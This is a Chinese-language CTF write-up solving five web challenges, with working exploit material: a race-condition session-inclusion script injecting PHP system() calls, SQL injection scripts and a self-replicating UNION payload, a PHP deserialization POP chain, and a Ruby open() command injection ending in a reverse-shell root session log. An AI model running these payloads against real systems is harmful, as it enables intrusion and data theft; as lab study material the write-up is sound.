WebFTP

在这里插入图片描述
题目是一个网站管理工具WebFTP2011,上网搜索WebFTP,可以在github中找到这个项目,从README中获取初始用户名和密码

使用说明 1、初始账号 超级管理员 admin 密码 admin888
在这里插入图片描述

成功登陆后寻找服务器的网站目录,随便翻看有无可疑文件,最后在phpinfo中找到flag
在这里插入图片描述

EasyCleanup

题目给出index源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>

session包含思路
由源代码可知,攻击点共有两个,一个是变量shell的rce,一个是file的文件包含,由于shell变量需要经过filter($shell) | checkNums($shell),限制太多,想要rce几乎无从下手,于是我们考虑从file寻找攻击点
首先访问/?mode=eval后可以看到phpinfo的内容
在这里插入图片描述

session.save_handler = files 表示session是以文件形式存储的
session.save_path =/tmp 表示session文件的存储目录在/tmp下
session.auto_start = off 表示默认不开启session

通常要进行session包含必须使用到函数session_start();而在本题中确没有这个函数,无法存储session文件,但本题可以利用session.upload_progress进行文件包含

session.upload_progress.enabled = on 表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
session.upload_progress.cleanup = on 表示当文件上传结束后,php将会立即清空对应session文件中的内容(想要包含session需要利用条件竞争)
session.upload_progress.name 表示当PHP_SESSION_UPLOAD_PROGRESS出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
session.use_strict_mode = off 这个选项默认值为off,表示我们对Cookie中sessionid可控。

当我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。我们就可以采用自定义cookie的方法来存储session文件,并用session.upload_progress.name来控制文件的内容,然后再进行文件包含,实现rce

脚本实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# -*- coding: utf-8 -*-
import io
import requests
import threading

myurl = 'http://1.14.71.254:28001/'
sessid = 'h2tg'
writedata = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('ls /');?>"}
flag = {"PHP_SESSION_UPLOAD_PROGRESS": "<?php system('cat /nssctfasdasdflag');?>"}
mycookie = {'PHPSESSID': sessid}

def writeshell(session):
while True:
#resp = requests.post(url=myurl, data=writedata, files={'file': ('1.txt', 123)}, cookies=mycookie)
resp = requests.post(url=myurl, data=flag, files={'file': ('1.txt', 123)}, cookies=mycookie)

def getshell(session):
while True:
payload_url = myurl + '?file=' + '/tmp/sess_' +sessid
resp = requests.get(url=payload_url)
if 'upload_progress' in resp.text:
print(resp.text)
break
else:
pass


if __name__ == '__main__':
session = requests.session()
writeshell = threading.Thread(target=writeshell, args=(session,))
writeshell.daemon = True
writeshell.start()
getshell(session)

writeshell函数中保持上传文件,data的变量名要为PHP_SESSION_UPLOAD_PROGRESS,值为要执行的命令,上传的文件可以为任意文件,cookie要设置PHPSESSID为自定义的id
并在getshell函数中利用条件竞争去包含session文件,如果成功就把返回的html打印出来
在这里插入图片描述

在这里插入图片描述

yet_another_mysql_injection

在这里插入图片描述
题目是一个简单的登录系统,在注释中可以找到提示
访问/?source得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
 <?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>
<!-- /?source -->
<html>
<body>
<form action="/index.php" method="post">
<input type="text" name="username" placeholder="账号"><br/>
<input type="password" name="password" placeholder="密码"><br/>
<input type="submit" / value="登录">
</form>
</body>
</html>

尽管checkSql对$password的限制非常多,但还是可以对$password变量实现时间盲注,得到数据库名为CTF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url='http://1.14.71.254:28090/index.php'
str_range=range(48,123)
success='something'
str=''

for n in range(1,4):
for i in str_range:
payload="'/**/or/**/strcmp(mid(database(),%d,1),'%c')#"%(n,chr(i))
login={'username':'admin','password':payload}
r=requests.post(url,data=login)
txt=r.text
if success in txt:
str+=chr(i)
print(str)
break
#CTF

但进一步的注入会发现表都是空的,那就必须要构造出满足条件的payload,即($row['password'] === $password)
以下为参考别人的文章进行payload构造

1
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

第一次构造

1
2
3
4
5
6
7
8
9
10
mysql> select/**/replace(replace('.',char(34),char(39)),char(46),'.');
+------------------------------------------------------+
| replace(replace('.',char(34),char(39)),char(46),'.') |
+------------------------------------------------------+
| . |
+------------------------------------------------------+
1 row in set (0.00 sec)

使用replace函数,该语句会返回点号
但我们需要返回的是和查询语句一模一样的语句,故我们可以用语句本身来替换点号

第二次构造

1
2
3
4
5
6
7
8
9
10
11
12
13
第一次构造的sql语句
select/**/replace(replace('.',char(34),char(39)),char(46),'.');

将上述语句中的点号替换为以下语句
replace(replace(".",char(34),char(39)),char(46),".");

mysql> select/**/replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

第三次构造

1
2
3
4
5
6
7
8
9
10
11
我们的payload形式应该为(最后有一个井号)
'/**/union/**/select/**/xxxxxx

初次构造的payload
'/**/union/**/select/**/replace(replace('.',char(34),char(39)),char(46),'.')#

将上述语句中的点号替换为以下语句
"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#

最终payload
'/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
1
2
3
4
5
6
7
mysql> select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#');
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#') |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| '/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')# |
+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

在mysql中执行可以看到输出的值和我们的payload完全一致,即($row['password'] === $password)
传参后得到flag

pklovecloud

题目给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

构造pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($t)
{
if($t==1)
{
$this->cinder=new ace();
}
}
}

class ace
{
public $filename='flag.php';
//public $filename='../nssctfasdasdflag';
public $openstack;
public $docker;
function __construct()
{
$this->docker=serialize(new acp(0));
}

}

$pop=new acp(1);
$pks=serialize($pop);

echo $pks;
echo '<br>';
echo urlencode($pks);

在这里插入图片描述
读取flag.php内容后得知flag在/nssctfasdasdflag下,把路径改为$filename='../nssctfasdasdflag'后得到flag
在这里插入图片描述

PNG图片转换器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
open("./view/index.html", 'r').read()
end

get '/upload' do
open("./view/upload.html", 'r').read()
end

post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end

end

get '/convert' do
open("./view/convert.html", 'r').read()
end

post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end

file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end

该网站是一个将上传的png转换为base64的应用,在转换的代码中有以下部分

1
2
3
4
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()

file参数必须要以.png结尾,且不能包含..,不能包含/,过滤完成之后会用open(file, 'r').read()打开,而ruby的open()函数是借用系统命令来打开文件的,所以可以进行命令注入,
详细原理见Ruby Net::FTP 模块命令注入漏洞(CVE-2017-17405)漏洞复现
对于file参数的过滤,可以考虑在命令注入的时候用base64编码后执行
直接反弹shell后找到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root@iZ2zec7mjp663ump9wsug3Z:~# nc -lvvp 6666
Listening on [0.0.0.0] (family 0, port 6666)
Connection from 121.196.63.59 34648 received!
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/usr/src# ls
ls
app.rb
view
root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/usr/src# cd /
cd /
root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/# ls
ls
bin
boot
dev
etc
flag_13242
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
root@challenge-7a861c0583f4d167-bc9f5fbc-6pfvt:/# cat flag_13242
cat flag_13242
ctfhub{9f618324e7abab7465e5fa6c}